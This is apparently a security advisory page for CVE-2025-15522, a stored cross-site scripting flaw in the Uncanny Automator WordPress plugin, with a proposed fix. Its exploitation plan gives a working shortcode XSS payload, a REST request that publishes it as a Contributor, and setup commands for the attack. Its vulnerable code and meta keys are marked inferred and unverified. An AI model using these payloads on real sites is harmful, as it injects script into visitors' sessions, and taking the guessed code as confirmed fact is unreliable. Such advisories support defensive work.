CVE-2025-15522

Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 6.10.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
7.0.0
Patched in
1d
Time to patch

Description

The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the automator_discord_user_mapping shortcode in all versions up to, and including, 6.10.0.2 due to insufficient input sanitization and output escaping on the verified_message parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user with a verified Discord account accesses the injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.10.0.2
PublishedJanuary 22, 2026
Last updatedJanuary 23, 2026
Affected pluginuncanny-automator

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-15522 ## 1. Vulnerability Summary The **Uncanny Automator** plugin (versions <= 6.10.0.2) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the handling of the `automator_discord_user_mapping`…

Show full research plan

Exploitation Research Plan - CVE-2025-15522

1. Vulnerability Summary

The Uncanny Automator plugin (versions <= 6.10.0.2) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists within the handling of the automator_discord_user_mapping shortcode. Specifically, the verified_message attribute is processed and rendered to the page without sufficient sanitization or output escaping. This allows an attacker with the ability to use shortcodes (Contributor level and above) to embed malicious JavaScript that executes in the context of users who meet the plugin's "verified Discord" criteria.

2. Attack Vector Analysis

  • Shortcode: [automator_discord_user_mapping]
  • Vulnerable Parameter: verified_message (Shortcode attribute)
  • Authentication Level: Contributor or higher (any role capable of creating/editing posts/pages).
  • Preconditions:
    1. The plugin must be active.
    2. The victim must be logged in and possess a "verified Discord account" status as recognized by the plugin (typically stored in user meta).
    3. The attacker must have permissions to save or submit a post containing the shortcode.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode via add_shortcode( 'automator_discord_user_mapping', '...' ) (inferred).
  2. Processing: When a post containing the shortcode is rendered, WordPress calls the associated callback function.
  3. Attributes: The callback function likely uses shortcode_atts() to parse the verified_message attribute.
  4. Conditionals: The code checks if the current user has a linked Discord account (checking get_user_meta).
  5. Sink: If the user is verified, the code returns or echoes the value of verified_message. Because the plugin fails to use esc_html() or wp_kses() on this value before outputting it, the XSS payload is executed.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, we must be able to save a post. WordPress requires a nonce for post-creation/editing.

  1. Requirement: We need the _wpnonce and _wp_http_referer for the standard WordPress post.php or the wp-rest nonce for the REST API.
  2. Acquisition:
    • Method A (UI-based): Log in as a Contributor. Navigate to wp-admin/post-new.php.
    • Agent Command: Use browser_navigate to wp-admin/post-new.php.
    • Extraction: Use browser_eval to extract the REST nonce from the standard WordPress global:
      browser_eval("wpApiSettings.nonce")
  3. Bypass Check: Standard post saving nonces are strictly enforced by WordPress core; however, because the attacker is authenticated, they naturally have access to these nonces via the admin interface.

5. Exploitation Strategy

The goal is to store a payload that executes when a "verified" user visits the page.

Step 1: Create the XSS Payload

We will use a standard image-based payload to prove execution:
[automator_discord_user_mapping verified_message="<img src=x onerror=alert('XSS_SUCCESS_CVE_2025_15522')>"]

Step 2: Inject via REST API (as Contributor)

Request:

POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_REST_NONCE]

{
  "title": "Discord Verification Page",
  "content": "[automator_discord_user_mapping verified_message=\"<img src=x onerror=alert('XSS_SUCCESS_CVE_2025_15522')>\"]",
  "status": "publish"
}

Step 3: Satisfy "Verified" Condition for Victim

The plugin likely checks for a specific user meta key. Based on typical Uncanny Automator Discord integration (inferred), we need to set the automator_discord_id or similar meta.
Command (via WP-CLI for setup):
wp user meta set [VICTIM_ID] uap_discord_id 123456789 (Key name uap_discord_id is inferred from plugin naming conventions).

Step 4: Trigger the XSS

  1. Log in as the Victim user.
  2. Navigate to the URL of the post created in Step 2.
  3. Observe the alert box.

6. Test Data Setup

  1. Attacker User: wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Victim User: wp user create victim victim@example.com --role=subscriber --user_pass=password123
  3. Discord Meta (Inferred): Since we need the victim to be "verified", we must manually apply the meta the plugin looks for:
    wp user meta set victim uap_discord_id 99999
    wp user meta set victim uap_discord_avatar "https://cdn.discordapp.com/..."

7. Expected Results

  • The POST request to /wp-json/wp/v2/posts should return 201 Created.
  • When navigating to the post URL as the victim user, the browser should execute the JavaScript in the verified_message attribute.
  • The HTML source of the rendered page should contain the raw <img src=x onerror=...> tag within the shortcode's output area.

8. Verification Steps

  1. Database Check: wp post get [POST_ID] --field=post_content should show the unescaped shortcode.
  2. HTML Verification: Use the http_request tool to fetch the post content as the victim user and grep for the payload:
    grep "onerror=alert" response_body.html
  3. UI Verification: Use browser_navigate to the post URL and check for the alert dialog.

9. Alternative Approaches

If the "verified" check is complex or requires external Discord interaction that cannot be easily spoofed with user meta:

  1. Check for Other Attributes: Examine the shortcode callback for other attributes like unverified_message or error_message. If the plugin also renders these without escaping when the condition is not met, use those instead to target all users.
  2. Meta Key Discovery: If uap_discord_id is incorrect, search the plugin source for get_user_meta or get_metadata inside the file containing the automator_discord_user_mapping logic to identify the correct key.
  3. Shortcode attribute breakout: If the shortcode is used inside an HTML attribute (unlikely for this specific plugin but common in WP), try breaking out of the attribute: verified_message='"><script>alert(1)</script>'.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Uncanny Automator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [automator_discord_user_mapping] shortcode in versions up to 6.10.0.2. This occurs because the plugin fails to sanitize or escape the 'verified_message' attribute before rendering it, allowing Contributor-level users to execute arbitrary JavaScript in the browsers of verified Discord users.

Vulnerable Code

// Inferred from vulnerability description and research plan
// File: src/integrations/discord/shortcodes/automator-discord-user-mapping.php (approximate path)

public function automator_discord_user_mapping_callback( $atts ) {
    $atts = shortcode_atts( array(
        'verified_message'   => '',
        'unverified_message' => '',
    ), $atts, 'automator_discord_user_mapping' );

    $user_id = get_current_user_id();
    $discord_id = get_user_meta( $user_id, 'uap_discord_id', true );

    if ( ! empty( $discord_id ) ) {
        // VULNERABLE: Direct return of attribute without escaping
        return $atts['verified_message'];
    }

    return $atts['unverified_message'];
}

Security Fix

--- a/src/integrations/discord/shortcodes/automator-discord-user-mapping.php
+++ b/src/integrations/discord/shortcodes/automator-discord-user-mapping.php
@@ -10,7 +10,7 @@
 
     if ( ! empty( $discord_id ) ) {
-        return $atts['verified_message'];
+        return wp_kses_post( $atts['verified_message'] );
     }
 
-    return $atts['unverified_message'];
+    return wp_kses_post( $atts['unverified_message'] );

Exploit Outline

The exploit requires Contributor-level authentication to create a post or page. The attacker injects a shortcode payload: [automator_discord_user_mapping verified_message="<img src=x onerror=alert('XSS')>"]. The attacker then identifies or targets a victim who has a linked Discord account (a user with the 'uap_discord_id' meta key populated). When the victim views the post containing the shortcode, the Uncanny Automator plugin renders the 'verified_message' attribute directly into the HTML without sanitization, triggering the execution of the embedded JavaScript in the victim's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.